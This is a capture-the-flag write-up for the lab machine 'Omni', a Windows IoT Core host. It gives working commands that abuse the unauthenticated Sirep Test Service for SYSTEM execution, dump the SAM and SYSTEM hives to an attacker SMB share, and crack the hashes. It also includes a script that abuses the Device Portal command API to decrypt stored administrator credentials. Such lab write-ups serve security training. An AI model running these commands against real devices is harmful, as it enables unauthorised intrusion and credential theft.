Omni
Omni is a Windows IoT Core box where the built-in Sirep Test Service hands out unauthenticated SYSTEM command execution. From there it's a registry-hive dump and crack into the Device Portal, then decrypting two stored PowerShell credential files to walk from app to administrator — this post covers recon through root.
Overview
Omni is an Easy Windows box running Windows IoT Core. Its built-in Sirep Test Service accepts remote commands with no authentication, giving instant SYSTEM execution. We dump and crack the registry hives to log into the IoT Device Portal as app, then decrypt two stored PowerShell credential files to recover the administrator password — both flags are themselves encrypted credentials decoded live in their owner’s context.
Recon
| Port | Service |
|---|---|
| 5985 | WinRM (IIS) |
| 8080 | Windows Device Portal (HTTP basic auth) |
| 29817 / 29819 / 29820 | Sirep Test Service (ms-sirep) |
1
nmap -Pn -sC -sV -p- --min-rate=1500 10.10.10.204
The HTTP realm name “Windows Device Portal” plus the ms-sirep service on 29820 are the tell: this is Windows IoT Core, which ships a vulnerable Sirep Test Service.
Enumeration
Port 8080 is locked behind HTTP basic auth, and WinRM on 5985 needs credentials we don’t have yet. The Sirep Test Service, however, requires none. It’s a developer/test service Microsoft includes on official IoT Core images — left enabled here and running as SYSTEM. We use SafeBreach-Labs/SirepRAT to talk to it.
Foothold
Confirm the service and that we can run commands as SYSTEM (omit --as_logged_on_user to stay at SYSTEM level):
1
2
3
4
git clone https://github.com/SafeBreach-Labs/SirepRAT.git && cd SirepRAT
python3 SirepRAT.py 10.10.10.204 GetSystemInformationFromDevice
python3 SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output \
--cmd "C:\Windows\System32\cmd.exe" --args " /c echo "
The profile path C:\Data\Users\System confirms execution as SYSTEM.
SYSTEM is the top local account, but it cannot decrypt another user’s protected credentials — and both flags are stored as encrypted PowerShell credential objects. So we need to become the right users. Start by dumping the registry hives and copying them to an SMB share on our attacking box (on Kali, port 445 binds without sudo when net.ipv4.ip_unprivileged_port_start is 0):
1
2
3
4
5
6
7
8
9
impacket-smbserver Public /tmp/Public -smb2support -port 445 &
python3 SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output \
--cmd cmd.exe --args " /c reg save HKLM\SYSTEM C:\SYSTEM.hive /y"
python3 SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output \
--cmd cmd.exe --args " /c reg save HKLM\SAM C:\SAM.hive /y"
python3 SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output \
--cmd cmd.exe --args " /c copy /Y C:\SYSTEM.hive \\10.10.14.20\Public\SYSTEM"
python3 SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output \
--cmd cmd.exe --args " /c copy /Y C:\SAM.hive \\10.10.14.20\Public\SAM"
Extract and crack the app hash:
1
2
3
impacket-secretsdump -sam SAM -system SYSTEM LOCAL
echo 'app:e3cb0651718ee9b4faffe19a51faff95' > nthashes.txt
john --format=nt nthashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
The app hash cracks to <redacted>. WinRM rejects these credentials, so we use the Device Portal instead. Its runcommandwithoutput API runs commands as the logged-in user — note every parameter (including runasdefaultaccount and timeout) is base64-encoded and a CSRF header is required.
Create wdp.py:
1
2
3
4
5
6
7
8
9
10
11
12
import sys, base64, requests
ip = "10.10.10.204:8080"
user, pw, cmd = sys.argv[1], sys.argv[2], sys.argv[3]
runas = sys.argv[4] if len(sys.argv) > 4 else "false"
b64 = lambda x: base64.b64encode(x.encode()).decode()
s = requests.Session(); s.auth = (user, pw)
s.get(f"http://{ip}/", timeout=15)
csrf = s.cookies.get("CSRF-Token")
params = {"command": b64(cmd), "runasdefaultaccount": b64(runas), "timeout": b64("15000")}
r = s.post(f"http://{ip}/api/iot/processmanagement/runcommandwithoutput",
params=params, headers={"X-CSRF-Token": csrf}, data=b"", timeout=40)
print(r.text)
We now have command execution as app.
User flag
user.txt is not plain text — it’s a PowerShell credential file, decrypted live in app’s own context:
1
python3 wdp.py app <redacted> 'powershell -c "$c=import-clixml C:\Data\Users\app\user.txt;$c.GetNetworkCredential().password"' false # HTB{...}
Access as app achieved.
Lateral Movement
The same directory holds iot-admin.xml, a second stored credential that app can decrypt — it contains the administrator password:
1
2
python3 wdp.py app <redacted> 'powershell -c "$c=import-clixml C:\Data\Users\app\iot-admin.xml;$c.GetNetworkCredential().password"' false
# omni\administrator : <redacted>
Storing a recoverable administrator password where a low-privileged account can decrypt it (CWE-522) collapses the privilege boundary entirely.
Privilege Escalation
Log into the Device Portal as administrator — its run-command API now executes as administrator, enough context to decrypt the root flag (also a stored credential):
1
python3 wdp.py administrator '<redacted>' 'powershell -c "$c=import-clixml C:\Data\Users\Administrator\root.txt;$c.GetNetworkCredential().password"' false
Root flag
1
python3 wdp.py administrator '<redacted>' 'powershell -c "import-clixml C:\Data\Users\Administrator\root.txt | %{$_.GetNetworkCredential().password}"' false # HTB{...}
Full compromise: from an unauthenticated debug service to administrator on the device.